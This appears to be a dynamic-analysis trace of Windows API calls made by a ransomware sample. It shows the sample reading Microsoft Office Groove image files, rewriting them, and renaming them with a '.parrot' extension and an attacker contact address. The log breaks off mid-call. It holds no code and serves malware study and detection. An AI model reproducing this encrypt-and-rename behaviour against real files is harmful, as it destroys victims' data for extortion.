[0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0193.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0193.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9790 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0193.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cee58 [0193.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0193.760] WriteFile (in: hFile=0x288, lpBuffer=0x5cee58*, nNumberOfBytesToWrite=0xad8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5cee58*, lpNumberOfBytesWritten=0x18e604*=0xad8, lpOverlapped=0x0) returned 1 [0193.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0193.764] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xace, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0193.764] CloseHandle (hObject=0x288) returned 1 [0193.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fc50 [0193.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x22e9790 [0193.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228fc50 | out: hHeap=0x5b0000) returned 1 [0193.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0193.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b49d0 [0193.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0193.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0193.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.767] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.769] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9ef, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9ef, lpOverlapped=0x0) returned 1 [0193.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0193.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.770] GetLastError () returned 0x0 [0193.770] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0193.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0193.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9790 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0193.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cee58 [0193.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0193.771] WriteFile (in: hFile=0x288, lpBuffer=0x5cee58*, nNumberOfBytesToWrite=0xb08, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5cee58*, lpNumberOfBytesWritten=0x18e604*=0xb08, lpOverlapped=0x0) returned 1 [0193.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0193.773] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb07, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0193.773] CloseHandle (hObject=0x288) returned 1 [0193.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fc50 [0193.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x22e9790 [0193.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228fc50 | out: hHeap=0x5b0000) returned 1 [0193.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0193.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b49d0 [0193.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0193.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0193.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.776] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.778] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xdff, lpOverlapped=0x0) returned 1 [0193.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0193.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.778] GetLastError () returned 0x0 [0193.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9790 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0193.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0193.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0193.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0193.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0193.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0193.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0193.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0193.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0193.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0193.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0193.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0193.780] WriteFile (in: hFile=0x288, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0xf18, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18e604*=0xf18, lpOverlapped=0x0) returned 1 [0193.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0193.781] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf17, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0193.781] CloseHandle (hObject=0x288) returned 1 [0193.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fc50 [0193.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x22e9790 [0193.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228fc50 | out: hHeap=0x5b0000) returned 1 [0193.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0193.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b49d0 [0193.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0193.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0193.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.785] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.789] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d72, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4d72, lpOverlapped=0x0) returned 1 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.790] GetLastError () returned 0x0 [0193.790] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0193.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0193.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp" (normalized: 